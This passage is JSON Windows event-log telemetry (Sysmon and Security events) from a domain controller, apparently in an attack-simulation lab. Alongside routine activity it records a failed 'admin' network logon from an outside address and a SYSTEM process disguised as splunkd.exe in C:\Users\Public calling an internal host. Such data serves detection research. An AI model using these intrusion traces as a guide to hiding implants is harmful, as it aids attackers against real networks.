11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":1808,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.872\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nProcessId: 2760\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.872","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010460F0200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":1809,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.874\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: win-dc-9849183\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.874","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"win-dc-9849183","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221483,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59239\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59239","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1810,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.906\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nSourceProcessId: 3720\r\nSourceThreadId: 3692\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.906","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","SourceProcessId":"3720","SourceThreadId":"3692","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1811,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1812,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107D140200}\r\nTargetProcessId: 2564\r\nTargetImage: C:\\Windows\\system32\\DFSRs.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107D140200}","TargetProcessId":"2564","TargetImage":"C:\\Windows\\system32\\DFSRs.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":3,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":3,"OpcodeValue":0,"RecordNumber":1813,"ProcessID":2736,"ThreadID":3256,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: Usermode\r\nUtcTime: 2020-08-07 11:49:56.911\r\nProcessGuid: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nProcessId: 2940\r\nImage: C:\\Users\\Public\\splunkd.exe\r\nUser: NT AUTHORITY\\SYSTEM\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 49689\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 10.0.1.12\r\nDestinationHostname: \r\nDestinationPort: 7010\r\nDestinationPortName: ","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","RuleName":"Usermode","UtcTime":"2020-08-07 11:49:56.911","ProcessGuid":"{90617006-3FDB-5F2D-0000-00103EF90100}","Image":"C:\\Users\\Public\\splunkd.exe","User":"NT AUTHORITY\\SYSTEM","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"49689","DestinationIsIpv6":"false","DestinationIp":"10.0.1.12","DestinationPort":"7010","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1814,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.034\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00100E2D0300}\r\nProcessId: 3832\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.034","ProcessGuid":"{90617006-3FE7-5F2D-0000-00100E2D0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1815,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18192|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18192|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1816,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 